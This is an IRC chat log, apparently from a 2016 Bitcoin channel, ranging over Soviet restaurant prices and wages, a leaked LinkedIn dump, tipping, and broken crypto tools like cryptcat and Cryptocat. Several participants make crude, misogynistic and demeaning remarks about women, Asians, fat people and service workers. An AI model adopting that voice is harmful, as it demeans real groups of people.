1468100;1463605760;asciilifeform;do we have the sr dump churned ? (who was doing this?) 1468101;1463605764;asciilifeform;or is it also waiting for me 1468102;1463605884;asciilifeform;in other nyooz, the (interestingly - perfectly street-legal here) tube of tritium is here. 1468103;1463605931;asciilifeform;glass ampoule, coated in ZnS inside 1468104;1463605938;mircea_popescu;2-3 not for you ; 4 for you eventually, depending on dfemand. maybe autumnish 1468105;1463605948;asciilifeform;very modest green light. 1468106;1463606287;asciilifeform;mircea_popescu: hilarious instructions from seller: http://www.loper-os.org/pub/tube_lulz.jpg 1468107;1463606422;mircea_popescu;seems like a nice fellow 1468108;1463606426;mircea_popescu;ask him if he wants to wot. 1468109;1463606486;mircea_popescu;http://btcbase.org/log/2016-05-18#1468027 << who is this ? 1468110;1463606486;a111;Logged on 2016-05-18 15:22 Framedragger: ^ that's a bit incorrect, she's already been living in berlin, but had to visit family etc in US; so not really "on the run" 1468111;1463606491;mircea_popescu;$google agora lovecruft 1468112;1463606494;deedbot;https://twitter.com/isislovecruft?lang=en << isis agora lovecruft (@isislovecruft) | Twitter | https://github.com/isislovecruft << isislovecruft (Isis Agora Lovecruft) · GitHub | http://www.ibtimes.co.uk/tor-developer-isis-agora-lovecruft-publicly-accuses-fbi-harassment-1558607 << Tor developer Isis Agora Lovecruft publicly accuses the FBI of ... 1468113;1463606504;mircea_popescu;heh k. 1468114;1463606541;mircea_popescu;http://btcbase.org/log/2016-05-18#1468036 << this is exactly how it works neh ? 1468115;1463606541;a111;Logged on 2016-05-18 15:27 asciilifeform: it will be truly comedic if it turns out that the performance of the clowns starring in the 'tor is genuine obstacle to usg, really, believe' circus ends up extending to hanging 1468116;1463606618;mircea_popescu;lol i see the Framedragger fellow got his baptism by fire ? 1468117;1463606735;mircea_popescu;http://btcbase.org/log/2016-05-18#1468064 << have to understand just how deep the rabbit hole goes. stuff like http://btcbase.org/log/2016-05-12#1466217 1468118;1463606735;a111;Logged on 2016-05-12 15:47 mircea_popescu: also, please don't refer to tmsr as "a community". it is not "a community", it is your liege. 1468119;1463606735;a111;Logged on 2016-05-18 16:04 Framedragger: i just think someone may have a hard on for hating X (for good reasons) but not dismiss things produced by X prima facie. then again, i suppose it's a useful heuristic in resource/time scarce universes to do just that :) 1468120;1463606920;mircea_popescu;http://qntra.net/2016/05/linkedin-dump-leaked/#comment-59005 << this is pretty fucking epic. linkedin, market-valued at 1/17 the valuation of bitbet. 1468121;1463606931;mircea_popescu;turns out bitcoin is pretty fucking valuable, 86 btc ~= 1 bn usd. 1468122;1463606935;asciilifeform;chump lists are valued at ~epsilon. 1468123;1463606936;asciilifeform;typically. 1468124;1463606984;mircea_popescu;buyt the very chump lists in question are supposed to be the "secret" reason the "company" is "worth" n billionz. 1468125;1463607002;mircea_popescu;you know, like any ponzi ever, they're extracting valuable value out of trade with spain. 1468126;1463607013;asciilifeform;and list of everyone who drank coke is worth == to market cap of cocacola ?! 1468127;1463607101;mircea_popescu;cocacola does not propoise that the reason it somehow has value (notwithstanding it exists as a rented office with five derps in it) is its "market share" 1468128;1463607110;mircea_popescu;cocacola actually ships product. 1468129;1463607138;mircea_popescu;linkedin and the rest of the post-senility berkshire investments are all a "here's where you can give us stuff". 1468130;1463607148;mircea_popescu;~the value of the ymca used clothes drop 1468131;1463607157;asciilifeform;linkedin is a kind of arsebook for wurk 1468132;1463607167;asciilifeform;i actually found several gigs using it 1468133;1463607174;mircea_popescu;"imagine - if we put a garbage can in every campus, people could throw GOLD BARS!! and FAST CARS! in there". 1468134;1463607184;asciilifeform;it exists purely as a sort of ebay, in the sense of 'this is the official pile of shit' 1468135;1463607190;mircea_popescu;THAT is the frucking busienss model of all these internet shits, linkedin, twitter, facebook, you name it. 1468136;1463607202;mircea_popescu;somehow it doesn't occur to them that the sort of people they reach don't have fucking gold bars; 1468137;1463607209;mircea_popescu;and if they did, garbage can, seriously ? 1468138;1463607220;mircea_popescu;asciilifeform not so. ebay moves product. 1468139;1463607257;mircea_popescu;asciilifeform crediting linkedin for finding work is like crediting the toilet stall for finding a new future ex wife. 1468140;1463607277;asciilifeform;well yes 1468141;1463607280;mircea_popescu;well then. 1468142;1463607289;asciilifeform;just pointing out that it is the current 'official toilet' 1468143;1463607303;asciilifeform;ebay moves nothing, incidentally, it is 100% mechanical broker 1468144;1463607307;asciilifeform;just like linkedin etc. 1468145;1463607325;mircea_popescu;oh, amazon built warehouses, ebay hasn't ? 1468146;1463607328;asciilifeform;aha. 1468147;1463607330;*;mircea_popescu has not been following too closely. 1468148;1463607332;asciilifeform;amazon is an actual store. 1468149;1463607339;mircea_popescu;ouchies. so they're getting sold soon. 1468150;1463607339;asciilifeform;with massive network of warehouses 1468151;1463607349;asciilifeform;ebay is 100% mechanical. 1468152;1463607355;mircea_popescu;aha. quite advanced too. i jusrt assumed ebay must be doing something to stay in the game 1468153;1463607366;asciilifeform;it only ever did one thing 1468154;1463607382;mircea_popescu;yeah, skim the milk off idiots. 1468155;1463607383;asciilifeform;i.e. maintain schellingatronic monopoly on the concept 1468156;1463607386;mircea_popescu;sounds like paypal. 1468157;1463607395;asciilifeform;recall, until recently they were under 1 roof. 1468158;1463607407;mircea_popescu;it's slowly coming back to me. 1468159;1463607409;asciilifeform;'this is the only place where you can use cc without giving # to spammers' 1468160;1463607839;pete_dushenski;asciilifeform: http://www.contravex.com/2016/05/18/not-all-soviet-food-is-created-equal/#comment-46493 1468161;1463607953;asciilifeform;pete_dushenski: yeah i saw 1468162;1463607970;asciilifeform;possibly i fail to understand the thesis of the article 1468163;1463608028;pete_dushenski;you already saw that ? speedy gonzalez. 1468164;1463608074;pete_dushenski;the thesis reduces to 'old soviets didn't have it so bad, new soviets have it worse than they realise' 1468165;1463608143;asciilifeform;i prolly ought to point out for pete_dushenski's enlightenment that going to restaurant was a quite uncommon thing in su 1468166;1463608152;asciilifeform;roughly analogous to renting a limo in usa 1468167;1463608178;asciilifeform;i.e. something typical folks could afford to do once in a spell, but usually would do 'when occasion merits' 1468168;1463608185;pete_dushenski;speaking of ebay, i always thought pitney bowes (oft forced upon shipping intermediary) was a subsidiary. looks like not. 1468169;1463608189;mircea_popescu;no wai. every derpy graduating hs class gets 30 virginal kid asses on a rented limo. 1468170;1463608198;mircea_popescu;su restaurant ~= nomenklatura. they'd kick uppity proles right out. 1468171;1463608206;asciilifeform;nah 1468172;1463608211;asciilifeform;if you had the dough, you could go in 1468173;1463608217;asciilifeform;~what you would be served~ is another matter! 1468174;1463608231;mircea_popescu;if you had the dough you could go explain how you got it to teh militsya 1468175;1463608247;asciilifeform;i recall my father recently told a tale, when he met with several phriendz some time in '70s who were reunited after long dispersal in army 1468176;1463608252;asciilifeform;they not only went to restaurant, 1468177;1463608256;asciilifeform;but ordered cigars. 1468178;1463608259;mircea_popescu;dough. wtf dough. commie restaurant meals were ~ the price of a loaf of bread 1468179;1463608261;asciilifeform;and gagged, choked on them, 1468180;1463608267;asciilifeform;because nobody had any fucking idea how to use a cigar. 1468181;1463608273;mircea_popescu;jesus. wtf soviet were you people running over there! 1468182;1463608354;asciilifeform;commoner schmuck who ~regularly~ showed up in restaurant, yes, might get asked questionz. 1468183;1463608473;pete_dushenski;asciilifeform: sounds like su restaurant was more properly speaking 'fine dining' contemporarily (ie. $40-60 entree) 1468184;1463608487;asciilifeform;in case engl.speaking n00bz are now perplexed, i oughta explain that 'restaurant' in su world meant something quite more specific than in, e.g., usa 1468185;1463608492;asciilifeform;aha pete_dushenski has it 1468186;1463608506;asciilifeform;there were cafes, pubs, etc. that were not rightfully 'restaurant' 1468187;1463608515;pete_dushenski;this is indeed only for special occasions. 1468188;1463608549;asciilifeform;dinner was something you generally ate in your (or friend's) kitchen. 1468189;1463608558;asciilifeform;(or dining hall at wurk) 1468190;1463608568;mircea_popescu;right, or else in those stand-up bufes with milk specialties and breads 1468191;1463608575;mircea_popescu;which really are way on the top of things i miss. 1468192;1463608583;mircea_popescu;you had those too, i suppose ? 1468193;1463608587;asciilifeform;aha. 1468194;1463608614;mircea_popescu;pretty much the same effect on my hindbrain as i suppose the "NUDE GIRLS" shows for vegas habituals 1468195;1463608626;asciilifeform;i even have a notion that something like it once existed in usa but i suspect that everyone who remembered it is dead by now 1468196;1463608630;mircea_popescu;funny how that shit works, nothing spells collegiate cunt quite like Sana 1468197;1463608642;mircea_popescu;asciilifeform prolly in the 30s. 1468198;1463608704;pete_dushenski;afaik these types of cafeterias are still known in eg. poland. 'milk bars' 1468199;1463608754;mircea_popescu;yeah but the milk specialties are gone and the pastries are shit 1468200;1463608758;mircea_popescu;fucking margerine already. 1468201;1463608795;pete_dushenski;what are these 'milk specialties' you speak of ? 1468202;1463608819;*;asciilifeform cleaned desk for 1st time in 2y 1468203;1463608826;*;asciilifeform no longer surrounded by metre-high pile 1468204;1463608833;mircea_popescu;"iaurt", which is not merely yoghurt, but a very speciffic thing ; sana ; lapte batut (sort of like buttermilk) etc 1468205;1463608934;BingoBoingo; amazon is an actual store. << More a vehicle for various LLC's incorporated at a single home in Wyoming to play store 1468206;1463609197;BingoBoingo; mircea_popescu: hilarious instructions from seller: http://www.loper-os.org/pub/tube_lulz.jpg << Who gets plastered on 6 pack of beer? 1468207;1463609239;mircea_popescu;women ? 1468208;1463609243;mircea_popescu;azns ? 1468209;1463609539;pete_dushenski;very small rocks 1468210;1463609601;asciilifeform;folks who dun drink much ? 1468211;1463609636;trinque;pete_dushenski │ very small rocks << ehehe 1468212;1463609641;pete_dushenski;http://www.theatlantic.com/international/archive/2016/05/venezuela-is-falling-apart/481755/ << just skimming this had me looking to rent empty warehouses within which to store tp. 1468213;1463609676;asciilifeform;pete_dushenski: generous gift for the beoble? 1468214;1463609685;asciilifeform;or yer gonna dig a mine field around it. 1468215;1463609685;pete_dushenski;reminiscent of stories i've read from croatia (and rest of east bloc presumably) where tp was golden after the fall. 1468216;1463609777;pete_dushenski;asciilifeform: you give beebs too much credit. a warehouse full of tp will go unmolested for maybe a decade or two, then ya, when push comes to shove you get some security 1468217;1463609787;pete_dushenski;in the meantime, it just needs to be kept dry and pest free 1468218;1463609790;asciilifeform;until somebody learns where it is. 1468219;1463609821;pete_dushenski;well canada != venezuala, nor will it anytime soon 1468220;1463609828;mircea_popescu;pete_dushenski did you also read the stories about how you needed a sniper assassination squad just to visit your own outhouse ? 1468221;1463609846;pete_dushenski;but in the mid-term, all the shit will coalesce, no doubt 1468222;1463609854;pete_dushenski;mircea_popescu: no ?! 1468223;1463609862;mircea_popescu;yeah well. 1468224;1463609898;asciilifeform;related: http://btcbase.org/log/2016-05-11#1465891 1468225;1463609898;a111;Logged on 2016-05-11 19:33 mircea_popescu: fwiw, young males that aren't entirely dumb go almost universally through this phase of "fantasy busienss" where they keep doing various coups in their heads, start a carwash then buy a shoestore with the proceeds then trade that in for a chain fo restaurants etc etc etc. 1468226;1463609950;asciilifeform;(consider folks who came out golden from su collapse, e.g., mircea_popescu, putin, etc. ; is it because they prophetically set up warehouses of toilet paper ??) 1468227;1463609960;pete_dushenski;lel. couldn't be more relevant. i have not one but two amigos who are actively searching for... car washes 1468228;1463609993;mircea_popescu;pete_dushenski tell them to hire chicks for lewd and lascivious washing 1468229;1463610012;mircea_popescu;should prolly brand it as such, "Bob and Joe's Lewd and Lascivious Carwash" 1468230;1463610015;pete_dushenski;both quite seriously. car washes seem to run $600k - 1 mn around here. claimed revenue around $150k per annum 1468231;1463610051;mircea_popescu;is topless legal in canuckistan ? 1468232;1463610100;pete_dushenski;asciilifeform: do you know for a fact that khodorkovsky didn't stock tp up to the rafters ? 1468233;1463610123;asciilifeform;pete_dushenski: plenty of winnerz had the keys to stockpiles of tp, plutonium, etc. 1468234;1463610127;asciilifeform;this is not the point 1468235;1463610132;pete_dushenski;mircea_popescu: depends where. though with weed about to be legal, probably more places soon to be. 1468236;1463610132;asciilifeform;point is that it was not ~all~ they had. 1468237;1463610148;mircea_popescu;for one thing they spoke teh language. 1468238;1463610166;asciilifeform;see also http://btcbase.org/log/2015-04-07#1090204 1468239;1463610166;a111;Logged on 2015-04-07 00:10 mircea_popescu: just like having a car doesn't alow having gasoline. it's true that often people who have cars also independently have gasoline, but the two are fundamentally unrelated, and there is such a thing as the fool's breakdown, ie, car's outta gas on the side of hte road. 1468240;1463610328;deedbot;[Trilema] El Pompenal - http://trilema.com/2016/el-pompenal/ 1468241;1463610437;pete_dushenski;lol!1 i always thought torahs (torot?) were carried in brinks trucks or similar 1468242;1463610491;mircea_popescu;the city's full of them, but... apparently not 1468243;1463610764;pete_dushenski;http://www.npr.org/sections/thesalt/2016/05/15/478096516/why-restaurants-are-ditching-the-switch-to-no-tipping << "On what made him decide to switch back to tipping? Attrition. We were losing staff, servers mostly. Kitchen was of course happy and turnover was nonexistent. And senior staff in the front of the house were happy. We were continuing to hire young, new people, train them, and then they'd get th 1468244;1463610764;pete_dushenski;e set of skills necessary, and they would generally give notice and move to other restaurants in our community who were still on a traditional tip economy." 1468245;1463610801;pete_dushenski;i never could quite understand the 'no tipping' blather. never seemed like much of a trend. turns out, i was right! 1468246;1463610838;mircea_popescu;these people never heard of contracts ? 1468247;1463610858;pete_dushenski;hm ? 1468248;1463610881;mircea_popescu;who the fuck hires noobs as free agents. if you train them, they either pay or indenture wtf. 1468249;1463610967;pete_dushenski;aha. that. ya, quite strange that it's not minimum 6mo or 1yr 1468250;1463610992;pete_dushenski;perhaps too expensive to enforce against such a transient population 1468251;1463610997;mircea_popescu;anyway. waitstaff in the us etc is miserable for turnover anyway. mostly because it's almost entirely manned by out of work strippers and other college students. who stick for a job on a project-base, she needs an abortion, works three weeks 1468252;1463611009;mircea_popescu;wants new matress, you get maybe five weeks out of her. etc. 1468253;1463611051;mircea_popescu;partly understandable, the patron menagerie is outrageous. 1468254;1463611451;phf;i think restaurants in su were still question of money. grandpa designed rockets, so my mom would go to restaurants with girlfriends growing up (later she worked at Sovicenter, which is a whole different level of access), and she would quote prices like 2.30 for a coffee and eclair. i think junior engineer salaries were somewhere around 90, a well to do pleb's end-of-career would be around 140, grandpa was making somewhere in upper 1468255;1463611451;phf;300's 1468256;1463611534;mircea_popescu;dude... i dunno. complete (romanian style, 5 course) meal at the "university house", ie, restaurant for high ranking profs etc, ~20 lei. which was the 3rd largest bill, 1% or so of average salary. 1468257;1463611538;phf;given that u.s. entry level engineer is somewhere in the 60k, that's like paying $1200 for a cup of coffee with pastry. and i realize that it's a totally meaningless analogy 1468258;1463611596;phf;oh, that's not restaurants i'm thinking of. i'm thinking places that would have names, and that certain kind of su crowd would reminisce over, like "Prague" or "Astoria" 1468259;1463611612;mircea_popescu;pretty much the only restaurant doing decent aspics in the whole country for a decade + was inside the ro capitol building. meal there less than what happy meal cost. 1468260;1463611627;mircea_popescu;that was this thing's name, "Casa Universitarilor" 1468261;1463611761;phf;hmm 1468262;1463611806;mircea_popescu;there was also "belvedere", rather scenic up on a hill. available for upper class wedding receptions, otherwise open for... well not the public. 1468263;1463611812;pete_dushenski;'not all soviet food is created equal' (tm) (r) 1468264;1463611818;mircea_popescu;actually a major passtime for locals post 1989 was to go check it out, for first time in life. 1468265;1463611823;mircea_popescu;place made a killingoff that cachet. 1468266;1463612017;mircea_popescu;phf how much was a vinyl record ? 1468267;1463612276;phf;i don't actually know, but i think i recall some высоцкий records with 30kp markings? 1468268;1463612356;mircea_popescu;so coffee + savarine = 8 vinyl records ? 1468269;1463612507;phf;well, right, prole stolovaya prices from the same time would be in .10-.50 range for full servings, so it's an outrageous price. 1468270;1463612538;pete_dushenski;sounds like 'gold-plated donut' 1468271;1463612555;mircea_popescu;weird that they'd be doing this capitalist thing. 1468272;1463612574;pete_dushenski;http://www.nydailynews.com/life-style/eats/meet-24-karat-gold-cristal-doughnut-brooklyn-article-1.2486557 << reference 1468273;1463612613;pete_dushenski;couldn't find in logs 1468274;1463612708;phf;mircea_popescu: you know that is weird, seems like sop was accessible prices even at fancy places, but was discouraged from attending. i might be misremembering something 1468275;1463612767;phf;but there might've been some twist there, like pastry was the kind of pastry you couldn't buy anywhere else because "specially made only here on thursdays" 1468276;1463613411;mircea_popescu;maybe 1468277;1463613626;mircea_popescu;they did have a law re "illicit profits" on the books tho did they 1468278;1463613821;asciilifeform;mircea_popescu: 'нетрудовой доход' (tm) (r) 1468279;1463613829;asciilifeform;('nonlabour income') 1468280;1463613853;asciilifeform;phf: plebe walking in was liable to be served shitleftovers 1468281;1463613880;phf;вчерашний суп 1468282;1463613981;asciilifeform;'civilized humans' laugh at primitive orcs, who had their party-exclusive wankatrons where everybody could see them. 1468283;1463613992;asciilifeform;go and try to open the door under 'pirates' attraction in disneyland. 1468284;1463614000;asciilifeform;(lizard club with ~20 yr waiting list) 1468285;1463614006;asciilifeform;according to al schwartz 1468286;1463614018;asciilifeform;or, consider 'bohemian grove' 1468287;1463614030;asciilifeform;and these are only the ones publicly ~known~ 1468288;1463614036;asciilifeform;prolly 10th rate. 1468289;1463614086;mircea_popescu;uh 1468290;1463614295;asciilifeform;http://btcbase.org/log/2016-05-18#1468267 << hilariously, i never saw a vysotsky VINYL until a family phriend gave me his massive set as a gift in usa! most folks heard him on bootleg tape. 1468291;1463614295;a111;Logged on 2016-05-18 22:57 phf: i don't actually know, but i think i recall some высоцкий records with 30kp markings? 1468292;1463614372;asciilifeform;http://btcbase.org/log/2016-05-18#1468255 << add 3 zeros to get ~modern-usd wage. 1468293;1463614372;a111;Logged on 2016-05-18 22:44 phf: 300's 1468294;1463614384;asciilifeform;quite literally 1468295;1463614392;mircea_popescu;hey, best type of flour. 000. 1468296;1463614415;phf;i realize more and more that the fall of soviet union was to my great disadvantage. 1468297;1463614431;asciilifeform;'80s, engineer, my father, 100-120r/mo depending on whether 'invention bonus or not' 1468298;1463614437;mircea_popescu;and the end of the british empire was to orwell's. 1468299;1463614442;asciilifeform;professor, grandfather - 150 1468300;1463614446;asciilifeform;dean - 200 1468301;1463614448;mircea_popescu;generally the end of national empires is bad news for the locals. 1468302;1463614474;asciilifeform;these are EXACTLY the wages in usd at uni of md. for same type of people 1468303;1463614493;asciilifeform;and a lead engineer at boeing may well get 300k. 1468304;1463614502;asciilifeform;so we have the conversion factor... 1468305;1463614503;mircea_popescu;well, general dynamics. but yeah. 1468306;1463614562;asciilifeform;the su story is more interesting tho because guess what they DIDN'T have 1468307;1463614566;asciilifeform;... the rent racket 1468308;1463614577;mircea_popescu;for same reason prices in restaurants weren't high. 1468309;1463614582;asciilifeform;aha, 1468310;1463614590;asciilifeform;but still 1468311;1463614599;asciilifeform;you wouldn't be giving back ~100% of yer pay just for having a roof. 1468312;1463614614;mircea_popescu;of course, houses were ~never sold. they were given. either by inca to plebs, or else by non-plebs to non-plebs by inca dispensation. 1468313;1463614622;asciilifeform;how much of his 300k does american rocketeer keep after mortgage payment ? 1468314;1463614630;asciilifeform;mircea_popescu: correct 1468315;1463614635;mircea_popescu;rms keeps most :D 1468316;1463614639;asciilifeform;except for dacha 1468317;1463614644;asciilifeform;which was bought and sold just like american house. 1468318;1463614651;asciilifeform;at least '70s and onward. 1468319;1463614662;asciilifeform;we sold it, bought plane ticketz. 1468320;1463614663;mircea_popescu;i think its purpose was to feed some semblance of usable rw data into the research center of w/e it was called 1468321;1463614665;mircea_popescu;the planning thing 1468322;1463614677;asciilifeform;gosplan? 1468323;1463614685;mircea_popescu;institute for this or the other, i forget. 1468324;1463614690;asciilifeform;purpose of what? 1468325;1463614699;mircea_popescu;~the research side of the fed. trying to keep the economy from blowing up. 1468326;1463614713;mircea_popescu;about as successful as their homologues over at chernobyl 1468327;1463614823;pete_dushenski;gossnab ? 1468328;1463614892;asciilifeform;ah 1468329;1463614900;pete_dushenski;asciilifeform: su dean didn't have housing racket, but could he buy plane tickets to paris and rent apt there for summer ? (honest q) 1468330;1463614914;asciilifeform;pete_dushenski: nope 1468331;1463614917;phf;depends 1468332;1463614939;asciilifeform;pete_dushenski: not unless he were 'royalty' or in a profession that requires travel to human landz 1468333;1463614952;asciilifeform;(e.g., diplomat, spy) 1468334;1463614957;mircea_popescu;if dean was the cosmopolitan type he could do what sane men do : stay at gf's in paris. 1468335;1463614965;phf;on whether he was also connected otherwise. moscow state dean probably could've, some mukhosransk one--not 1468336;1463614968;mircea_popescu;if dean was more the family type... meh. 1468337;1463614979;asciilifeform;mircea_popescu: not a matter of temperament, matter of rank 1468338;1463614988;mircea_popescu;rank being muchly a matter of temperament. 1468339;1463615028;asciilifeform;within constraints of the profession. 1468340;1463615047;mircea_popescu;i took "temperament" to stand as proxy of general human quality. 1468341;1463615051;asciilifeform;if we are thinking of an academic, the qualities mircea_popescu would admire would be inversely correlated with promotion 1468342;1463615085;mircea_popescu;i suspect this interpolation is correct only up to a point, and what;s interesting happens long after that inflexion. 1468343;1463615086;asciilifeform;if, say, spy - as described in mega-b0000k 'aquarium' - then yes, 'bigger man' more likely to be let outside of the reservation. 1468344;1463615121;mircea_popescu;yet scores of academics ran the "friendly" gamut. socialistoid france particularly. 1468345;1463615130;mircea_popescu;obviously not all these could be spies, for the fucking obvious reason. 1468346;1463615226;asciilifeform;and yes, you had folks like gamow, who supposedly first tried to escape in a rowboat, then via eu 1468347;1463615284;asciilifeform;but successful escape, afaik, was correlated more than anything with how much pr victory the possession of your arse would be for the nato folk 1468348;1463615305;mircea_popescu;what escape dood. go visit paris 7-8 times a decade. 1468349;1463615315;mircea_popescu;stay a week or two, come back. 1468350;1463615328;asciilifeform;i thought we were doing escape artists. 1468351;1463615343;mircea_popescu;no, profs with a penchant for getting their penis and gullet well oiled. 1468352;1463615354;asciilifeform;can do that back home 1468353;1463615358;mircea_popescu;do west germany twice that, and then there's all the eastern yurp countries. 1468354;1463615359;mod6;soooo i went through the epic headache of setting up sks server on dulap, only to learn that the thing will not work without blessing from existing sks operators. <<< uuuuugh 1468355;1463615361;asciilifeform;they had chix in su 1468356;1463615377;mircea_popescu;there were dozens of people who lived very much the 90s academic conference circus. 1468357;1463616904;asciilifeform;in other lulz, 1468358;1463616909;asciilifeform;from soresphorge, 1468359;1463616915;asciilifeform;'cryptcat - encrypting netcat' 1468360;1463616923;asciilifeform;1star review: 1468361;1463616925;asciilifeform;'Bad crypto. DO NOT USE. There is IV reuse and the password KDF is one of the worst I've seen: cryptcat -k bunnies -l 12345 cryptcat -k b5ee9e3 127.0.0.1 12345 or cryptcat -k Kue.ins 127.0.0.1 12345 Also no MAC and you can XOR anything to the first 16 bytes of each packet without artifacts.' 1468362;1463616937;asciilifeform;^ tru ^ 1468363;1463616959;asciilifeform;NOT to be confused with the infamously broken chat app 'cryptocat'. 1468364;1463617142;mod6;heheh IV reuse 1468365;1463617404;Framedragger;^ (obligatory read re. cryptocat: https://tobtu.com/decryptocat-old.php ) 1468366;1463617436;shinohai;ewww cryptocat 1468367;1463617455;asciilifeform;pretty much everybody heard of cryptocat. 1468368;1463617506;Framedragger;every time a re-read.. "The bug that lasted 347 days was the confusion between a string and an array of integers." 'nuff said. it's just good entertainment value 1468369;1463617512;Framedragger;*i 1468370;1463617600;Framedragger;http://btcbase.org/log/2016-05-18#1468116 << yeh is only fair.. 1468371;1463617600;a111;Logged on 2016-05-18 21:23 mircea_popescu: lol i see the Framedragger fellow got his baptism by fire ? 1468372;1463618651;*;mircea_popescu hadn't heard. 1468373;1463619059;asciilifeform;phamous instance of wholly-phony crypto. 1468374;1463620289;deedbot;[Trilema] Files from the War on the Web. Today, PBNation. - http://trilema.com/2016/files-from-the-war-on-the-web-today-pbnation/ 1468375;1463621553;mircea_popescu;and in other news, http://66.media.tumblr.com/23b4f68abb37458b79eed98fd6b48cc6/tumblr_o1qr28FnO21v6j0qbo1_400.gif 1468376;1463621716;mircea_popescu;Framedragger github references in that article are of course gone. 1468377;1463621718;mircea_popescu;this fucking web. 1468378;1463621779;mircea_popescu;"The bug that lasted 347 days was the confusion between a string and an array of integers. This made the ECC private keys ridiculously small because they passed a string of decimal digits into a function expecting an array of 17, 15 bit integers." ahaha ok that's pretty good. 1468379;1463622024;mircea_popescu;oh ok, so changed 16^64 to 10^64 and the "generate entropy in the shape of floating point number" thing clearly indicate these fellows are windows programmers with a strong javascript focus. 1468380;1463622028;mircea_popescu;you know, like satoshi. 1468381;1463622865;asciilifeform;http://btcbase.org/log/2016-05-19#1468379 << wwwtardism and microshititis are quite distinct afflictions. like drink vs morphinism. 1468382;1463622865;a111;Logged on 2016-05-19 01:40 mircea_popescu: oh ok, so changed 16^64 to 10^64 and the "generate entropy in the shape of floating point number" thing clearly indicate these fellows are windows programmers with a strong javascript focus. 1468383;1463623013;asciilifeform;note, microshit never achieved the marvel of a programming language where machine ints cannot be relied upon as arithmetic field 1468384;1463623024;asciilifeform;this had to wait for the webtardz 1468385;1463623030;asciilifeform;e.g., jwz 1468386;1463626892;mircea_popescu;it's just mindboggling 1468387;1463626959;mircea_popescu;where's that costanza line... 1468388;1463627160;mircea_popescu;"Why did it all turn out like this for me? I had so much promise. I was personable, I was bright. Oh, maybe not academically speaking, but ... I was perceptive. I always know when someone's uncomfortable at a party. It became very clear to me sitting out there today, that every decision I've ever made, in my entire life, has been wrong. My life is the opposite of everything I want it to be. Every instinct I have, in every fac 1468389;1463627160;mircea_popescu;et of life, be it something to wear, something to eat ... It's all been wrong." 1468390;1463627179;mircea_popescu;^ testament of every "computer programmer" of the "modern computing" school ever. 1468391;1463633757;deedbot;[» Contravex: A blog by Pete Dushenski] A lolz a day keeps the doctor away : CRA edition - http://www.contravex.com/2016/05/18/a-lolz-a-day-keeps-the-doctor-away-cra-edition/ 1468392;1463647230;deedbot;[Qntra] Monsanto Embargoes Argentina From Getting Dicamba Resistant Soybeans - http://qntra.net/2016/05/monsanto-embargoes-argentina-from-getting-dicamba-resistant-soybeans/ 1468393;1463647237;BingoBoingo;^ Qntra Farm Report is back! Eat Moar Monsanto! 1468394;1463648121;BingoBoingo;In other safe spaces https://archive.is/peuFf 1468395;1463655502;Framedragger;http://btcbase.org/log/2016-05-19#1468376 << yeah.. because fuck URLs amirite.. i'd think the nadim (of cryptocat) rebased commit history on purpose.. what's funny/sad is that many many stupid people did use cryptocat during those periods of encraption in cryptocat.. too bad for them 1468396;1463655880;Framedragger;http://btcbase.org/log/2016-05-19#1468376 << yeah.. because fuck URLs amirite.. i'd think the nadim guy (of cryptocat) rebased commit history on purpose.. what's funny/sad is that many many stupid people did use cryptocat during those periods of encraption in cryptocat.. too bad for them 1468397;1463655926;Framedragger;;;later tell Vexual missed your PM, msg me once you're online! 1468398;1463655926;gribble;The operation succeeded. 1468399;1463656149;shinohai;Because being here isn't complete until you have met Vexual. 1468400;1463656170;BingoBoingo;$b 2 1468401;1463656242;shinohai;Nice fph archive there BingoBoingo ... I'd love to see a 450 lb sloth attempting to pedal a bike. 1468402;1463656291;BingoBoingo;the politicaly correct term is "couch bison" 1468403;1463656299;shinohai;>.< 1468404;1463656891;shinohai;http://www.zdnet.com//article/new-android-malware-poses-as-app-joins-device-to-botnet/ <<< kek. waste more time on useless games and apps ppl 1468405;1463657414;shinohai;HehnI actually saw a BitBet tweet this morning, is finally working? 1468406;1463657450;danielpbarron;it's been tweeting for a week or two 1468407;1463658143;shinohai;I guess it got lost in the other noise in mah feed 1468408;1463659540;mircea_popescu;Framedragger much like many many stupiud people use tor. 1468409;1463659548;mircea_popescu;stupid people are no one's concern. 1468410;1463659597;mircea_popescu;in other lewls, http://trilema.com/2015/facebook-sends-traffic11eleven/#comment-117282 1468411;1463659599;mircea_popescu;"Are you a business man/woman or an ARTISTS,POLITICIANS,PASTOR,ENGINEER,DOCTOR, STUDENTS, GRADUATED and you want to become Rich Powerful and famous, in life or,Are you frustrated in life. What type of wealth do you want? Today is your luckiest day, 'I want to join great Illuminati occult in Nigeria' we are here for those of you that want to join Illuminati Brotherhood in Nigeria and across Africa." 1468412;1463659671;mircea_popescu;apparently that great dream of that (other) great ustardian dreamer (pres. bahamas) is taking shape : the great illumination of africa! 1468413;1463659781;shinohai;^ dafuq did I just read 1468414;1463659796;*;shinohai needs more tea this morning. 1468415;1463659845;mircea_popescu;what type of tea do you want ? 1468416;1463660129;shinohai;That black loose-leaf from Iran or China is what I'm making 1468417;1463660272;mircea_popescu;today is your luck day! 1468418;1463660293;*;Framedragger suspects mircea_popescu is baiting him about tor because he remembers those comments on trilema where framedragger said "evidence or gtfo mircea" ;) 1468419;1463660295;Framedragger;owell 1468420;1463660314;mircea_popescu;wait, you STILL haven't seen enough evidence ?! 1468421;1463660353;Framedragger;maybe i have. look, i know those folks personally, by which i mean, not only over the internets. however, malice/incompetence are the same in terms of effects 1468422;1463660361;Framedragger;so, i'm not gonna argue.. 1468423;1463660370;mircea_popescu;aite then. 1468424;1463660375;BingoBoingo;Remember kids, asystole is the most stable cardia rhythm possible. 1468425;1463660418;mircea_popescu;it's a sad day in any man's life, when he's squeezed into admitting that personal connection be damned, incompetence and malice aren't usefully distinguishable. 1468426;1463660456;mircea_popescu;with any luck, it happens young. like for instance through the age-old process of, orcs come through rampaging village, rape everyone, surviving kid is faced with the cold, sad truth that "if those assholes were any good, they'd be still alive". 1468427;1463660485;shinohai;tor convo again? (-_\) #facepalm 1468428;1463660508;mircea_popescu;neah. 1468429;1463660517;shinohai;tor is only gtood for making lulzy Qntra articles! 1468430;1463660581;mircea_popescu;turning into quite teh qntra funkmeister over there, huh shinohai ? 1468431;1463660626;shinohai;I grudgingly admit that mircea_popescu was right as always, that I would enjoy it if I got off my ass and did it. 1468432;1463660639;mircea_popescu;>D 1468433;1463660716;mircea_popescu;for the record : all the various german terms, funkmeister, funkspielen, etc, are derived off how you say radioing in german, ie, funk (hence telefunken). the reason it's called "spark" is because they needed a name back when sparkgap was the way. and so... 1468434;1463660742;mircea_popescu;meanwhile asciilifeform still hasn't explained why he hates 